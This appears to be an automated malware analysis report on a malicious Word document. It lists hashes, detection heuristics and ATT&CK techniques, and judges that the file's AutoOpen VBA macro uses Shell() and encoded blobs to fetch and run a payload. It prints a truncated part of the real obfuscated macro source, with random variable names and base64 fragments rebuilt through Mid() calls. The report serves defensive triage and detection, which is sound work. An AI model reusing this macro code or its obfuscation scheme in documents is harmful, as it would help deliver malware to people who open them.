Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 847d5a575db29764…

MALICIOUS

Office (OLE)

73.0 KB Created: 2017-10-17 11:45:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: 39bd5925105632ef729757105d0d664a SHA-1: 8dca0009e5b0f3e41424208e720bda1d73c3a377 SHA-256: 847d5a575db297649b1660087d987842a4e92436bf80b746f3ef2048485173e9
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical indicator of malicious activity, to execute commands. The obfuscated nature of the script and the presence of a long encoded blob suggest it is designed to download and execute a secondary payload, aligning with common malware delivery techniques.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12132 bytes
SHA-256: 6aac72e97bc22105e6105cb37203aabb3d299ebd43462e9d9791cf49ed2bdc10
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub dErnZnncw()
rbGqkwT = "JL537TZIWW4C6KH24DETKNMCMO6wAIAA0ADUALAAgADkAOAAgACwAIAAxADAANAAgACwAIAAxADAAMgAsACAANAA2ACwAMQAwADAALAAxADAAMQAsACAANAA3ACAALAAgADcANgAsADEAMAAxACwAMQAxADAAIAAsACAAMQAxADYAIAAsADEAMAAxACAALAAgADEAMQA0ACwAIAA0ADkAIAAsADQANwAgACwAIAAxADEANQAsADEAMAA0ACAALAAgADcAMAAgACwAMQAxADgAIAAsACAAMQAyADAAIAAsADYANQACQL9F5"
vIdXtW = Mid(rbGqkwT, 28, 277)
GswpsGRiUb = vIdXtW
cZBIl = "KAMQAxACAALAA5ADcAIAAsADEAMAAwACAALAA3ADAAIAAsADEAMAA1ACAALAAgADEAMAA4ACAALAAgADEAMAAxACwANAAwACwAMwA2ACAALAAxADEANwAgACwAIAAxADEANAAgACwAIAAxADAAOAAsACAANAA2ACwAIAA4ADQALAAxADEAMQAsACAAOAAzACwAMQAxADYALAAgADEAMQA0ACAALAAxADAANQAgACwAMQAxADAAIAAsACAAMQAwADMALAAgADQAMAAsADQAMQAsACAA8VRWGUN76SC11M"
DKPTJJaw = Mid(cZBIl, 2, 281)
ObubMICzYw = DKPTJJaw
cdMEuMoK = "C0Y7CDXETHCLWVB3AAMQAxADkT74N4Q8127AV"
tfJtroaiJT = Mid(cdMEuMoK, 17, 9)
MkjIQOOMo = tfJtroaiJT
pnrwMNr = "JCYVWDkANwAsACAAMQAxADYAIAAsADkAOQAsADEAMAA0ACwAMQAyADAMBDPSIS9EZT"
DnjzbVddRlQ = Mid(pnrwMNr, 6, 49)
rnRlnsjM = DnjzbVddRlQ
DdpTj = "UAAwACwAMwA2ACAALAAgADEAMQA3ACwAIAAxADEANAAgACwAMQAwADgALAAgADMAMgAgACwAMQAwADUAIAAsADEAMQAwACAALAAgADMAMgAgACwAIAAzADYAIAAsADEAMQA3ACAALAAgADEAMQA0ACAALAAxADAAOAAsADEAMQA1ACwANAAxACwAMQAyADMAIAAsACAAMQAxADYALAAgADEAMQA0ACwAMQAyADEAIAAsACAAMQAyS4TL5IQJURUJZ4DK9FELBPJT3M8O9L6"
EGAZAzn = Mid(DdpTj, 2, 243)
suDjV = EGAZAzn
pvFOpz = "KN52AXJVNAA0ACwAMwAyACwAMwA2ACAALAAxADEAMgAsADkANwAsADEAMQA2ACAALAAxADAANAAgACwANAAxACwANQA5ACAALAAgADgAMwAsADEAMQA2ACwAIXN5CP1NYNZUC"
MFnLLksn = Mid(pvFOpz, 9, 113)
BTYBp = MFnLLksn
zdhSRk = "0S1KVR0WR88H0MSW9WQQ9ALAAxADAAMQAgACwAIAA5ADgAIAAsACAAOQA5ACAALAAxADAAOAAgACwAIAAxADAANS6GIAW5GDVTI1L"
jcYtawtac = Mid(zdhSRk, 22, 66)
pcvPdhowZ = jcYtawtac
OiJTE = "80SOBS0FYEWENwAsADEAMQAyACAALAAgADEAMQA3ACwAIAAxADEANAAsACAAMQAwADcALAAxADAAOAAsADQANgAsACAAMQAwADAALAAgADEAMAAxACwANAA3ACAALAA3ADAAIAAsACAAMQAxADAAIAAsADEAMAAwACAALAAgADEAMQA4ACAALAA3ADMAIAAsADEAMAAxACwAIAA3ADIAIAAsACAANAA3ACAALAAgADQANAAgACwAVM07CHE327JJSAONM38SQD4K"
wDHCOsRZa = Mid(OiJTE, 13, 232)
fcbzOt = wDHCOsRZa
VIwCZnFj = "DQ5LR0BPLRBPY9QIAGY9SUSRM96K2O4wANgAxACwAMwAyACwAMwA2ACAALAAgADEAMQA0ACwAOQA3ACwAIAAxADEAMAAgACwAIAAxADAAMAAsADEAMQAxACAALAAxADAAOA7CAETVZ"
zLJOKGbufU = Mid(VIwCZnFj, 32, 99)
UwmDbf = zLJOKGbufU
bqUfiGZM = "HJ0QFYFSIAAsACAAMQAyADAAIAAsADkANwAsACAAOAAxACAALAA0ADcALAA0ADQAIAAsACAAMQAwADQALAAgADEAMQA2ACAALAAgADEAMQA2ACAALAAgADEAMQAyACwANQA4ACAALAA0ADcAIAAsADQANwAsADEAMQA0ACwAIAU8HF"
kEOwHXVubt = Mid(bqUfiGZM, 9, 162)
TBnIGOLrf = kEOwHXVubt
CWiUFtF = "J2V5DTJ8LFEG3DAIAAsACAAOAAzACAALAAxADEAMgAsADEAMAA4ACAALAAgADEAMAA1ACAALAAgADEAMQA2ACAALAAgADQAMAAgACwAMwA5ACAALAAgADQANAAgACwAMwA5ACAALAAgADQAMQAgACwANQA5ACwAIA71ZR6X9CDSIKXBT9R9TJRI17"
VPPPvYM = Mid(CWiUFtF, 15, 147)
lniUFGz = VPPPvYM
wWzqIB = "N93HRH1PIUINCO3JAxACAALAAzADIALAAxADEAMAAsADEAMAAxACAALAAgADEAMQA5ACwR93CAUYB65WKQ"
RCcajPVwzFT = Mid(wWzqIB, 17, 53)
AVQqjwK = RCcajPVwzFT
zRXOPDSrsO = "9KFVIGXKTYU2OOB1AAMQAxADkALAAxADEANQAgACwAOQA5ACwAIAAxADEANAAsACAAMQAwADUALAAxADEAMgAsADEAMQA2ACAALAAzADIAIAAsADYAMQAsACAAMwAyACAALAAxADEAMAAgACwAMQAwADEAIAAsADEAMQA5ACAALAA0ADUALAAgADEAMQAxACwAOQA4ACAALAAxADAANgAsADEAMAAxACAALAA5ADkALAAgADEAMQA2ACAALAAgADMAMgAgACwAIAA0AESW6IAOM90AF3L"
ZQIDj = Mid(zRXOPDSrsO, 17, 255)
bJGzn = ZQIDj
uLnvRSvI = "5LBQERK7VVXY4P8XGP9EKHHEMLVSRJFUECALAAxADEAMAAsACAAMQAxADgALAA1ADgAIAAsACAAMQAxADYAIAAsADEAMAAxACwAIAAxADAAOQAsACAAMQAxADIAIAAsADMAMgAgACwANAAzACAALAAzADIALAAgADMAOQAgACwAOQAyACwAMwA5ACwAMwAyACAALAA0ADMALAAzADIALAAzADYAIAAsADEAMQAwACwAIAA5ADcALAAgADEAMAA5ACwAMQAwADEAIAAsACAAMwAyACwAIAAUYZ"
BDhzrJWZY = Mid(uLnvRSvI, 35, 252)
pjjzWpzECZW = BDhzrJWZY
fSipkwOGw = "J2L79Y4PTGA6QAgACwAIAA0ADYALAAgADEAMQAwACwAMQAwADEAIAAsADEAMgAwACAH9YQIJ6J7GMZK99F20TOO"
GOWAmDBa = Mid(fSipkwOGw, 13, 54)
BNQoCFW = GOWAmDBa
IrK
... (truncated)

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